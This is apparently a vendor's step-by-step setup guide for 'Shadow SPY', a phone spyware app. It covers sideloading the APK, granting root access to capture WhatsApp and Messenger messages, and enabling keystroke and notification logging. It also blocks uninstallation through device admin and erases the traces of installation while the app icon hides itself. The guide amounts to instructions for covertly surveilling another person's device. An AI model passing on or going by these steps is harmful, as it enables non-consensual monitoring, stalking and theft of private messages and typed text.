To install applications outside of Play Store (Shadow is outside of Play Store), you need to turn "ON" Unknown Sources checkbox under Settings -> Security (4.0 and up) / Settings -> Applications (3.0 and below).
Open any browser like Firefox or Chrome in the phone and type www.shadow-spy.com/shadow.apk and tap go/enter or Click Here to start downloading. In case you face any problem in downloading kindly download from Downloads Page. Once the download is complete tap downloaded shadow.apk and install.
Once the installation is complete either tap 'Open' to launch the application or go to Launcher and tap Shadow SPY icon to launch.
Enter your account details and login, in case you do not have account with us then you can register it now using 'Register Now' option. When using trial version, your trial period will start from the time you register account with us.
Select the activities/features you want to monitor and set Interval and accuracy for Location Logs. You can change these settings later from Shadow Logs Panel or Shadow Logs Viewer.
WhatsApp and Facebook Messenger logging will only work on rooted devices in case device you are monitoring is non-rooted then you can tap 'Next' else you can tap "Check Root Access" and grant Shadow SPY root access. WhatsApp and Facebook messenger logs will include information about all type of messages including sent/received images, videos, contacts, locations etc
These are the two most important features of Shadow SPY, using Notification logging you can monitor most of the incoming notifications including notifications of social apps chat messages with body, and Key Strokes lets you spy on text, user is typing in any application in device so you can see composed emails, sent chat messages under Key Stroke logs.
In case you want to prevent the phone user from uninstalling the Shadow SPY application then you would like this feature. Once you activate Device admin of Shadow SPY, the uninstall button of Shadow SPY under settings will be disabled and user would not be able to uninstall the application.
Congratulations you have completed setup process.
The installation process on monitoring device has been finished, now you can remove stuff like browsing history, downloaded shadow.apk etc, The icon of Shadow SPY will be auto hide itself after few seconds and you would not need to touch the device again. To view the logs visit www.shadow-logs.com or visit Viewing Logs